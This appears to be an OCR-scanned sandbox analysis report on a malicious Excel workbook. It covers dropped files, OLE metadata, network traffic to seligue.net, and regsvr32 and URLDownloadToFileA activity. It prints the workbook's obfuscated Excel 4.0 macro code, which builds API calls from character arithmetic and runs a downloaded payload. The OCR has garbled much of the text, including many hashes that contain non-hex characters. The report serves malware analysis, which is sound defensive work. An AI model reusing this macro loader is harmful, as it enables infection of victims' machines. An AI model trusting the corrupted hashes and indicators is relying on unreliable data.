3:kkFKlI4xcXfIIXIE/QhzIIPIzZRkwWBARLNDU+ZMIKIBkvclcMIVHDIBLUAY pFit: kK+JIIBAIdQZV7eAYLit
4AA3A4B3368479BD5B993086A099D2D6

5EC372D798804257D1468FEDA5576992DD00290C
EEA7157D6E59F0E975A932B414A63217E95CD40F27BAEE80863E7316C19F5281

9EA3196900FF2DFBDD275052883D630A8AD6B3B2BBE48C6FA0LF7C39A641459C269EABBOA25C8BA85DCDOE9OBEYOCO2BFD819FAS9AFC1183DAD77DDA4EGB6GE
640

false

low

Peeees e e S T (e s Ui [ o }...hittp..//ap.p.s..identrus.t..com./ro.0.ts./ds.tro.o.tc.ax3..p.7.c."3.7.d.-.59.e.7.6
.b.3.c.6.4.b.c.0."...

C:\Users\user\AppData\Local\Temp\8CDE0000

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 315373

Entropy (8bit):  7.98562385536492

Encrypted: false

SSDEEP: 6144:6nxqrFLPodmRqgyAVYtlKsVLCyo7NtbcY7uLaG/9t7+M5:6nEFPM8R3AsB+hbjej/9c2

MD5: BEDCC8CO03EC111F3726BA117971FB188

SHA1L: C5C40293CB6428EB844C069B032000027C4DDE6D

SHA-256: 0B06340B3793BDE63BB057289E1693EBSFAECADCFIDDE43C66C49F0ESFBSEOEF

SHA-512: 4882824E0A546408A0C97507445465846E5696452E6F3426185112B8DD8FD0OB93A9B5396D3442CD02C4563B5B49DCC1F5F450635626EC101652C7D6FOB54ECS57
Malicious: false

Reputation: low

Preview:

C:\Users\luser\AppData\Local\Temp\CabE699.tmp E
Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file

Category: dropped

Size (bytes): 58936

Entropy (8bit):  7.994797855729196

Encrypted: true

SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5cIxQh+alLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAVEZrGclxOhoW6qCLdNz2pj
MD5: E4F1E21910443409E81E5B55DC8DE774

SHA1L: EC0885660BD216D0CDD5E6762B2F595376995BD0

Copyright null 2020
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C:\Users\luser\AppData\Local\Temp\CabE699.tmp E

SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5

SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAALASA151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BBIE4AFI324F2C22E9BF0882
46

Malicious: false

Reputation: moderate, very likely benign file

Preview:
MSCF....8....... [ESUORURURURIUIN IOU S LQ.v .authroot.stl..0(/.5..CK..8T....c_.d.....(...... M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..... =H4.U=...X..gn.+S.AJ.....y.n.v.XC...

3a.l... ]...c( p-].M.. JC.@.[.#xUU.*D..agaV..2.|.9..Y. j .@.Q....n7TR.." ../ .s..f+..c.9+[]|0. . 2Ls....a.....wt.Lls.. .O> #. pfi7.U....s.\.wz.A.g.Y ...

..C..2....P0$.Y..7m....Z0.g3.>WO0&.y(....]. >... ..R.gB..f.....y.cEB.V=.....hy}....t6b.q./~.p .60...eCS4.0......d..}.<,nh.;....)...e.]...Cx]..f.8.Z.&.G.....

g...0.V.Tu?.Z..r..J..>R.ZsQ...dn.0.<.. oK o\.cD"0."Y.....SV..g...Y.....o.=....k..u.
..... U.ew..>.q.".%$.)3.T..r..m...6..rIH.B <ht.8.s. u[NdL %...q....9.;T..L.5..\...
C:\Users\luser\AppData\Local\Temp\TarE69A.tmp
Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: data
Category: dropped
Size (bytes): 152533
Entropy (8bit):  6.31602258454967
Encrypted: false
SSDEEP: 1536:SIPLIYy2pRSjgCyrYBb5HQop4Ydm6CWku2Ptlz0jD1rfJs42t6WP:S4LIpRScCy+fdmcku2PagwQA
MD5: D0682A3C344DFC62FB18D5A539F81F61
SHA1L: 09D3E9B899785DA377DF2518C6175D70CCFIDA33
SHA-256: 4788F7F15DE8B063BB3B2547AF1BD9CDBD0596359550E53EC98E532B2ADB5ECS5A
SHA-512: 0E884D65C738879C7038C8FB592F53DD515E630AEACCIDIESF9013606364F092ACF7D832E1A8DAC86A1FOBOE906B2302EE3A840A503654F2B39A65B2FEAQ4EC
Malicious: false
Reputation: moderate, very likely benign file
Preview:
0..S...*.H.........S.O..S....l.O...‘.H.e......0..C...+.....7.....C.O..C.O...+.....7.......... .20101221490470...+......0..C.0..*....."...@.,..0..0.r1...0...+.....7..~1......D...0..+....7..i1...0...
+..7<.0 .+....7..1 @N...%.=.,..0%..+....7... 1. @V'"..%.*.S.Y.00..+....7..b1". .].L4.>.X.. EW..' .......... -@wWO0Z..+.....7...1L.JM.i.c.r.0.s.0.f.t. .R.0.0.t. .C.e.rtific.ate.
A.uthority...0. LUl %10, 7..h1 ..... 6.M...0...+...7.~1.......... 0. 470000+ 0.+..7.1.0.V...... b0$..+.....7...1...>))....5,.=$.~R."..00..+.

LL7b1 X[ 8% 7.2..GY.cS.0D. +... 7. 16.4V eri Si.g.n. . T.im.e. .S.tam.p.ing. .CA..0....4. . .R..2.7.. ..1.0..+..7.h1.....0&.0..+..7.1.0..+..7<.0
L7010 00 M LJ@08. 7. L W L9 00, L 70T L@...GldmLL S X...}OB..+ ..... 7..14. 2M|crosoft .R.0.0.t. .A.ut.h.o

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sun Nov 29
12:37:42 2020, atime=Sun Nov 29 12:37:42 2020, length=8192, window=hide

Category: dropped

Size (bytes): 867

Entropy (8bit): 4.4789439106792415

Encrypted: false

SSDEEP: 12:85Q8/CLgXg/XAICPCHaXgzB8IB/gkUX+WnicvbiubDtZ3YiIMMEpxRIJKZTdJIP90:85b/U/XTwz617UYemiDv3qYrNru/

MDS5: 0554EDFA4084412BBF28FEEFA3030F49

SHA1L: BBADBAA969FCBCE3A913A907662425058DA4FEG9

SHA-256: 5DAAB7E3AE702F6B719D41B2628F7E7FABFDC7DFC02A63138EB4B46CODAF61C5

SHA-512: 2145EF882FDA030F1C1599BA62754FF07A4888A1C00A3A15575236A7980B70D91E2BEEEBD2D0A0SA9EIEF6D60C594C8C84A3275FC25943B1C5E01892578AFE6:

Malicious: false

Preview:

........ t.1.....QK.X..Users. .....
Q.l..Desktop.d......QK.X}Q.I*

QKX 6....Us.ers..@.s.he.ll3.2.dll,.
Desktop .@.s.h.ell3.2..dll,.-.2.
.D.e.s.k.t.o.p... 1SPS.XF.L

.562258.. ..JEKD_...3N

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\document-1425391613.LNK

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:12 2020, mtime=Sun Nov 29 12:37:42 2020,
atime=Sun Nov 29 12:37:42 2020, length=338432, window=hide

Category: dropped

Size (bytes): 4236

Entropy (8bit): 4.510922884512453

Encrypted: false

SSDEEP: 96:8mM/XLInIfYQh2mM/XLInIfY Qh2mM/XLInIfY Qh2mM/XLInIfYQ/:8TInlgQETINIGQETINIGQETINIgQ/

MDS5: 16EACBDCD57477486148F1D830727F28

SHAL: FF5BBD31B661FFB19696FF4D35FA211ABAA13B5B

SHA-256: 384E0CED6B87428E5DC1A2F55AD67973C16DB566314D3CCIAF99CIBICIF20B4E

SHA-512: 3D7A83603B6BIA65E17BCEBBCEG766C399365F3BE6ASD885DCDD7BFDDC6C393F3E27CBO8FFDOESF4F72387A78B98D00488AD32A645DC05F274A3EB410D94C
70

Malicious: false

Copyright null 2020 Page 14 of 36



C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\document-1425391613.LNK

Preview:
| EETTTOPRRN Fo.. .. Coven T [A T e P.O. 0. #00.../C:\ t1.....QK.X..Users. .......QK. X ..o, 6....Us.ers..@.s.hell3.2.dll,.-
.2.1.8.1.3....L.1.....Q.y..user.8......QK.X.Q.y*...&=....U Alb.us....z.1....Q.y..Desktop.d......QK.X.Q.y*... ....D.eskto.p..@.s.hell3.2..d.ll
.1.7.6.9....x.2..,.}Q.l DOCUME~1.XLS.\......Q.y.Q.y*...8.. d.o.cum.e.n.t.-14.253.9.1.6.1.3..xls 8..
\562258\Users.user\Desktop\document-1425391613.xls.......\. \...\..\.D.esskto.p\d.o.c.um.e.nt.-14.25391.6.1.3.xls.
.L8c...&mm...........-...S.-.1.-5.-2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............”.......X.......562258.......... .

1SPS.XF

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 232

Entropy (8bit): 4.80902968358731

Encrypted: false

SSDEEP: 6:dj6 YOLIYLELIYPYOLIYLELIYPYOLIY1ELIYPYOLIYL:dmHHHt

MDS5: 158B96EBFCA268987F9560447CAB8A119

SHA1L: CB50AC1600CAOD952F136BB2EC4597C62C03AF26

SHA-256: 52C7FO0CD236BOACESDCDBEFAF17040DB04FEDBD2165076A547823A8FD050C792

SHA-512: 61AD2A7C5F70FB455CF4EE46017AAD90DAABFAC57684604C891B3BBIF70854CA4A2E9FCOD85A570B4055ECA527FD256BAEBD2CE4EEOFEA81D84B15FAEQEFS:!
c4

Malicious: false

Preview:

Desktop.LNK=0..[xIs]..document-1425391613.LNK=0..document-1425391613.LNK=0..[xIs]..document-1425391613.LNK=0..document-1425391613.LNK=0..[xIs]..docume
nt-1425391613.LNK=0..document-1425391613.LNK=0..[xIs]..document-1425391613.LNK=0..

C:\Users\user\Desktop\2EDE0000

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Applesoft BASIC program data, first line number 16

Category: dropped

Size (bytes): 398453

Entropy (8bit): 7.195007844131335

Encrypted: false

SSDEEP: 6144:KcKoSsxzNDZLDZjlbR86808KiA4XkXOn2xEtjPOtioViDGUU1qfDlavx+W+LIfdb:0izo8RnsIRONrén75Y+GbD
MDS5: C99595E711A42A1180E4D81A63BC8197

SHA1L: 771907A671D5A0A88F2F7F2E875D004F25482E42

SHA-256: 6459333FAEOED23787831B75FFBB1DF5ED9682EF515D013DD691A9E6E6628067

SHA-512: BFOB9B702F3766A92598BBOF3CFC8A710EF35827666F12AF6DF6A7874D258FFD05E2471975505EECC377155262290DF606D05DEFFF43D7236778B8181E5206A7
Malicious: false

Preview:

.Calibril....8......Calibril
ceCaalibrilo.Calibril

Static File Info

General

File type: Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1251, Name of
Creating Application: Microsoft Excel, Create T
ime/Date: Sat Sep 16 01:00:00 2006, Last Saved Tim
e/Date: Thu Nov 26 09:46:17 2020, Security: O

Entropy (8bit): 7.523545982744638

TrID: e Microsoft Excel sheet (30009/1) 78.94%

e Generic OLE2 / Multistream Compound File
(8008/1) 21.06%

File name: document-1425391613.xIs

File size: 338944

MD5: 272290alfec50e7ced8d5447e698cfeb

SHA1L: 394504cde4fe75c2f22ee5127d83a90d2259f8fc

SHA256: 15f053ef9e78c3356fcOeafdd09c1b7e307e985f5a28elad
e7e943ec82eal3ef

SHA512: 22c5944a889f35a394f3248e849947200a2b43e9ch7c70¢
8cf2d0408417f7b2512c8f321afdd40c1c679ch3606a0c8
32859ea2609db6bc19ee8cchabbl3a42c87

SSDEEP: 6144:1cKoSsxzNDZLDZjIbR86808Kfc03pXOFq7uDphY

HceXVhca+fMHLty/x2zZ8kpTI:8izo8RnsIRONr6N75YYT
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General

File Content Preview: e

File Icon

Icon Hash: edeea286adb4bcb4

Static OLE Info

General
Document Type: OLE
Number of OLE Files: 1

OLE File "document-1425391613.xls"

Indicators

Has Summary Info: True
Application Name: Microsoft Excel
Encrypted Document: False
Contains Word Document Stream: False

Contains Workbook/Book Stream: True

Contains PowerPoint Document Stream: False
Contains Visio Document Stream: False

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: True
Summary

Code Page: 1251
Author:

Last Saved By:

Create Time: 2006-09-16 00:00:00
Last Saved Time: 2020-11-26 09:46:17
Creating Application: Microsoft Excel
Security: 0

Document Summary

Document Code Page: 1251
Thumbnail Scaling Desired: False
Contains Dirty Links: False
Shared Document: False
Changed Hyperlinks: False
Application Version: 917504
Streams

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General
Stream Path: \x5DocumentSummarylnformation
File Type: data
Stream Size: 4096
Entropy: 0.367004077607
Base64 Encoded: False
Data ASCIl:
X
..... 4. ... ..
Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5

cd d5 9c 2e 1b 10 93 97 08 00 2b 2c¢ f9 ae 30 00 00 00 00 01 00 00 08 00 00 00 01 00 00 00

4800 00 00 17 00 00 00 50 00 00 00 Ob 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00
00 00 68 00 00 00 16 00 00 00 70 00 00 00 Od 00 00 00 78 00 00 00 Oc 00 00 00 bf 00 00 00

02 00 00 00 e3 04 00 00
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Stream Path: \x5Summaryinformation, File Type: data, Stream Size: 4096

General
Stream Path: \x5Summaryinformation
File Type: data

Stream Size: 4096

Entropy: 0.257530318219
Base64 Encoded: False

Data ASCII:

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 €0 85 9f
f2 19 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40
00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 Oc 00 00
00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e
00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 326321

General

Stream Path: Workbook

File Type: Applesoft BASIC program data, first line number 16
Stream Size: 326321

Entropy: 7.65589671346

Base64 Encoded: True

Data ASCIl: f2 . \.p....

Data Raw: 09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00
00 00 e2 00 00 00 5¢ 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20

Macro 4.0 Code

CALL("Ke"&????2IHV329&"32", "Cr'&????2!HX357&"yA", "JCJ", 2???2IHM327&????2!HM342, 0)

CALL("U"&???2?2!HX347, "U"&????4!E65, "IICCII", 0, ????2!EE100, ????2!HM327&????2!HM3428????2I1HM356, 0, 0)

AIDS0), s =CALL(MKE™'&?22?22IHV320&™32" " Cr&????22IHX357&yA™ " JCI™, 2?222IHM327&22222IHM342,0)", 111111100000 =RUN(

27???

"=CALL(""Ke"'&????2IHV329&"'32"",""Cr"'&????2!HX357&""yA"" " JCI"",??2??2!HM327,0)",,,,=RUN(????

LIMB6),1010s0mmsmsmmsssmsmsnmmnmees ~CONCATENATE(E67,E68,E69,E70,E71,E72,E73,E74,E75,E76,E77,E78,E79,E80,E81,E82,E83)",,,,"=CHAR(SUM(F66,G66,H66))",25,35,25,"=CHAR(SUM(F67,
G67,H67))",20,42,20,"=CHAR(SUM(F68,G68,H68))",25,26,25,=CHAR(F69-G69-H69),100,22,10,=CHAR(F70-G70-H70),200,50,39,=CHAR(F71-G71-H71),500,300,81,=CHAR(F72+G72-H72),120,130,140
,=CHAR(F73+G73-H73),200,300,392,=CHAR(F74+G74-H74),400,500,789,=CHAR(F75-G75+H75),500,430,27,=CHAR(F76-G76+H76),310,270,60,=CHAR(F77-G77+H77),200,160,44,"=CHAR(SUM(F 78,
G78,H78))",56,37,18,"=CHAR(SUM(F79,G79,H79))",27,18,25,"=CHAR(SUM(F80,G80,H80))",44,58,3,=CHAR(F81-G81-H81),384,115,161,=CHAR(F82-G82-H82),762,504,157, =CHAR(F83-G83-H83),501
,328,108

"=CALL("U"'&????2IHX347,""U"&????41E65,"ICCII"™,0,2???2!EE100,????2!HM327&???72IHM342&????2!HM356,0,0)"=EXEC(????3IW36&????2!HM327&????2IHM342&????2!HM356)=HALT()

Network Behavior

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Nov 29, 2020 05:38:24.081438065 CET 49165 443 192.168.2.22 192.185.215.146
Nov 29, 2020 05:38:24.215692997 CET 443 49165 192.185.215.146 192.168.2.22
Nov 29, 2020 05:38:24.215802908 CET 49165 443 192.168.2.22 192.185.215.146
Nov 29, 2020 05:38:24.230072021 CET 49165 443 192.168.2.22 192.185.215.146
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Timestamp

Nov 29, 2020 05:38:24.364136934 CET
Nov 29, 2020 05:38:24.371670008 CET
Nov 29, 2020 05:38:24.371725082 CET
Nov 29, 2020 05:38:24.371757984 CET
Nov 29, 2020 05:38:24.371766090 CET
Nov 29, 2020 05:38:24.371814013 CET
Nov 29, 2020 05:38:24.371820927 CET
Nov 29, 2020 05:38:24.404360056 CET
Nov 29, 2020 05:38:24.543425083 CET
Nov 29, 2020 05:38:24.543721914 CET
Nov 29, 2020 05:38:25.921123981 CET
Nov 29, 2020 05:38:26.096237898 CET
Nov 29, 2020 05:38:26.763457060 CET
Nov 29, 2020 05:38:26.763638020 CET
Nov 29, 2020 05:38:26.763763905 CET
Nov 29, 2020 05:38:26.763813972 CET
Nov 29, 2020 05:38:26.764889002 CET
Nov 29, 2020 05:38:26.899015903 CET

UDP Packets

Timestamp

Nov 29, 2020 05:38:23.910521984 CET
Nov 29, 2020 05:38:24.069468021 CET
Nov 29, 2020 05:38:24.849148035 CET
Nov 29, 2020 05:38:24.885181904 CET
Nov 29, 2020 05:38:24.891072035 CET
Nov 29, 2020 05:38:24.927156925 CET
Nov 29, 2020 05:38:25.431950092 CET
Nov 29, 2020 05:38:25.469482899 CET
Nov 29, 2020 05:38:25.480359077 CET
Nov 29, 2020 05:38:25.515971899 CET

DNS Queries

Timestamp

Nov 29, 2020 05:38:23.910521984 CET

DNS Answers

Timestamp Source IP

Nov 29, 2020
05:38:24.069468021
CET

8.8.8.8

HTTPS Packets

Timestamp Source IP

Nov 29, 2020 192.185.215.146
05:38:24.371757984

CET

Code Manipulations
Copyright null 2020

Source Port Dest Port Source IP
443 49165 192.185.215.146
443 49165 192.185.215.146
443 49165 192.185.215.146
443 49165 192.185.215.146
49165 443 192.168.2.22
49165 443 192.168.2.22
49165 443 192.168.2.22
49165 443 192.168.2.22
443 49165 192.185.215.146
49165 443 192.168.2.22
49165 443 192.168.2.22
443 49165 192.185.215.146
443 49165 192.185.215.146
443 49165 192.185.215.146
49165 443 192.168.2.22
49165 443 192.168.2.22
49165 443 192.168.2.22
443 49165 192.185.215.146
Source Port Dest Port Source IP
52197 53 192.168.2.22
53 52197 8.8.8.8
53099 53 192.168.2.22
53 53099 8.8.8.8
52838 53 192.168.2.22
53 52838 8.8.8.8
61200 53 192.168.2.22
53 61200 8.8.8.8
49548 53 192.168.2.22
53 49548 8.8.8.8
Source IP Dest IP Trans ID OP Code
192.168.2.22 8.8.8.8 0x2c09 Standard query
(0)
Dest IP Trans ID Reply Code Name CName
192.168.2.22 0x2c09 No error (0) seligue.net
Source Dest Not
Port Dest IP Port  Subject Issuer Before
443 192.168.2.22 49165 CN=webdisk.seligue.net CN=Let's Encrypt Fri Nov
CN=Let's Encrypt Authority Authority X3, 20
X3, O=Let's Encrypt, C=US O=Let's Encrypt, 17:49:32
C=US CN=DST CET
Root CA X3, 2020
O=Digital Thu Mar
Signature Trust 17
Co. 17:40:46
CET
2016
CN=Let's Encrypt Authority CN=DST Root CA Thu Mar
X3, O=Let's Encrypt, C=US X3, O=Digital 17
Signature Trust 17:40:46
Co. CET
2016

Dest IP
192.168.2.22
192.168.2.22
192.168.2.22
192.168.2.22
192.185.215.146
192.185.215.146
192.185.215.146
192.185.215.146
192.168.2.22
192.185.215.146
192.185.215.146
192.168.2.22
192.168.2.22
192.168.2.22
192.185.215.146
192.185.215.146
192.185.215.146
192.168.2.22

Dest IP
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22

Name Type

seligue.net A (IP address)

Address Type

192.185.215.146 A (IP address)

Class

IN (0x0001)

Class

IN (0x0001)

JA3 SSL Client Digest
7dcce5b76c8b17472d024

Not JA3 SSL Client
After Fingerprint

Thu Feb 771,49192-49191-
18 49172-49171-159- 758970a406b
17:49:32 158-57-51-157-
CET 156-61-60-53-47-
2021 49196-49195-
Wed 49188-49187-
Mar 17 49162-49161-106-
17:40:46 64-56-50-10-19,0-
CET 10-11-13-23-
2021 65281,23-24,0
Wed

Mar 17

17:40:46

CET

2021
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Code Manipulations

Statistics

Behavior

@ EXCEL.EXE
® regsvr32.exe

System Behavior

Click to jump to process

Analysis Process: EXCEL.EXE PID: 2384 Parent PID: 584

General

Start time: 05:37:39

Start date: 29/11/2020

Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
Imagebase: 0x13f490000

File size: 27641504 bytes

MDS5 hash: 5FBOAOF93382ECD19F5F499A5CAAS9F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\DAC5.tmp read attributes | device synchronous io  success or wait 1 13F7DEC83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\8CDEO00O read attributes | device synchronous io  success or wait 1 7FEEAC59ACO unknown
synchronize | non alert | non
generic read | directory file |
generic write open no recall
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File Path
C:\giogti

C:\giogti\mpomgr

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet read data or list device

Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

File Deleted

File Path
C:\Users\user\AppData\Local\Temp\DAC5.tmp

File Moved

Old File Path
C:\Users\user\AppData\Local\Temp\8CDE000O
C:\Users\user\Desktop\2EDE0000

Copyright null 2020

Access Attributes Options

read data or list device
directory |
synchronize

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

read data or list device
directory |
synchronize

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

read data or list device
directory |
synchronize

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

read data or list device
directory |
synchronize

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory |
synchronize

read data or list device
directory |
synchronize

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

read data or list device
directory |
synchronize

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

read data or list device
directory |
synchronize

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

read data or list device
directory |
synchronize

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

read data or list device
directory |
synchronize

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

read data or list device
directory |
synchronize

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

New File Path
C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv

C:\Users\user\Desktop\document-1425391613.xls.

Source

Completion Count Address Symbol

success or wait 1 1401B828C CreateDirectoryA
success or wait 1 1401B828C CreateDirectoryA
object name 1 1401B825F URLDownloadToFileA
collision

object name 1 1401B825F URLDownloadToFileA
collision

object name 1 1401B825F URLDownloadToFileA
collision

object name 1 1401B825F URLDownloadToFileA
collision

object name 1 1401B825F URLDownloadToFileA
collision

object name 1 1401B825F URLDownloadToFileA
collision

object name 1 1401B825F URLDownloadToFileA
collision

object name 1 1401B825F URLDownloadToFileA
collision

object name 1 1401B825F URLDownloadToFileA
collision

Source
Completion Count Address Symbol
success or wait 1 13FA4B818 DeleteFileW
Source
Completion Count Address Symbol
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
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File Written

File Path
C:\Users\user\AppData\Local\Temp\8CDE000O

C:\Users\user\AppData\Local\Temp\8CDE000O
C:\Users\user\AppData\Local\Temp\8CDE000O

Copyright null 2020

Offset
569

1047

Length Value Ascii

478

2
569

c4 56 cb 4e €330 14 .V.N.0...4..y;J\@B.QS....A.
dd 8f34ff10793b >..

4a5c 4042 a35153 0..~.6..=.nH..4DTh..s......J.
16 0c b3 9c 41 02 3e U..>HKjrV.H..
cOb56f13ab7ec9 [MS..?.0R... ...

36 d0 fe 3d d7 6e 48 ....Z|.6.....M.I...Ei.-h.*...
99 a834 44546293 ..z.".......z>]RnM....8.b..V
9773 1ef7rd8fled .Q.f.wN...zA..sNL"..OF.
fc 6aa355f104 3e DJ.ZI..G..Up...-

48 6b 6a 7256 cd 48 @..r"....... @.

01 86 5b 21 4d 53 93 AMg.....sz~..A..d.f.C.\Jh..?
87 fb 3fe54f5284 0O.w...9t.8.A(

c8 8¢ 60 ca 1a a8 c9

16 02 b9 5a 7c ff 36

bf df 3a 08 05 a2 4d

a8 49 1b a3 fb 45 69

€0 2d 68 16 2a eb cO

e0 c8ca 7acd 22 de

fa 86 3a c6 d7 ac 01

7a 3e 9b 5d 52 6e 4d

04 13 cb 98 38 c8 62

fe 1b 56 ec 51 c5 e2

66 83 8f 77 4e 96 d2

90 e2 7a f7 5e 92 aa

09 73 4e 49 ce 22 la

a5 4f 46 Oc 44 4a bb

5a 49 Oe c2 f2 47 8d

d4 55 70 1e 98 08 2d

40 d4 aa 72 5e a2 a2

bf 83 18 b1 b0 40 €8

41 4d 67 9a 81 a6 d4

c9737a7e18el 41

85 01 64 c4 66 97 43

85 c8 5¢c 4a 68 a5 Ob

3f30ac 77 14 d2 c8

fb 39 74 b8 7f 38 81

5e 0a 28

03 00

50 4b 03 04 14 00 06 PK.......... LC.T....e......
00 08 00 00 00 21 00 [Content_Types].xml ...
43 ef 54 98 e0 01 00
00 65 08 00 00 13 00
08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70
65 73 5d 2e 78 6d 6¢C .
202204 0228a000 .
02 00 00 00 00 00 00 .
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

(..

Completion

success or wait

success or wait

success or wait

Count Address

34

28
30

Source
Symbol

7FEEAC59ACO unknown

7FEEAC59ACO unknown
7FEEAC59ACO unknown
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File Path

C:\Users\user\AppData\Local\Temp\8CDE000O

C:\Users\user\AppData\Local\Temp\8CDE000O

Copyright null 2020

Offset Length Value

40828 65536

313175 2198

Ascii

89 50 4e 47 0d Oa 1a .PNG........ IHDR

0a 00 00 00 Od 49 48 .w.....gAMA..

445200000afc00 ... AL e
0007 d0 04030000 e.....~....hLF:'0R..~.......
00f6e377130000 ..tRNS............... q.Kn...

00 04 67 41 4d 41 00 IDATX..].r.G....52....T.....)q

00 b1 8f0bfc6105 Q

p$X...HP"

..S....6..v

0000 00 01 73 52 47 ggz.g....... Vv|..~....Z0...9"..
4200 ae celce9 00 .x;~..zC...M..

00 00 2d 50 4c 54 45
9 f9 fa ea ea eb f8 f6
a5 f8 eb 84 19 46 92
8 f8 ba 66 66 65 12
0f Oa 8b 8a 7e be c1
c3d6 bd 68 4c 46 3a
€027 305281 b4 7e
b8 05 Oc 86 b9 de 00
00 00 Of 74 52 4e 53
9 f9 fo {8 f8 f8 8 f8
8 f8 f8 f8 f8 f8 f8 71
e7 4b 6e 00 00 20 00
49 44 41 54 78 da ec
5d bd 72 1b 47 13 bc
0e 9535323 ed 1c
b9 54 a5 dc fc aa 10
297151 e5c4cce8
b7 70 24 58 85 97 fb
48 50 22 f1 b3 b3 d3
373 b0 a4 e2 05 36
05 1c ee 76 67 67 7a
ba 67 {7 {6 96 a5 ed
e0f276 7c 7f 07 7e
96 8e fO cd 5a 6f de
6 93 39 22 7f b4 {8
78 3b 7e 84 d8 7a 43
b1 b7 e3 fb 4d bd fc

13 00 00 00 00 00 00 IsPK
00000000000000 ..............2...

00 00 00 00 5b 43 6f kbook.xml.relsPK..

6e 74 656€ 74 5f54 Do
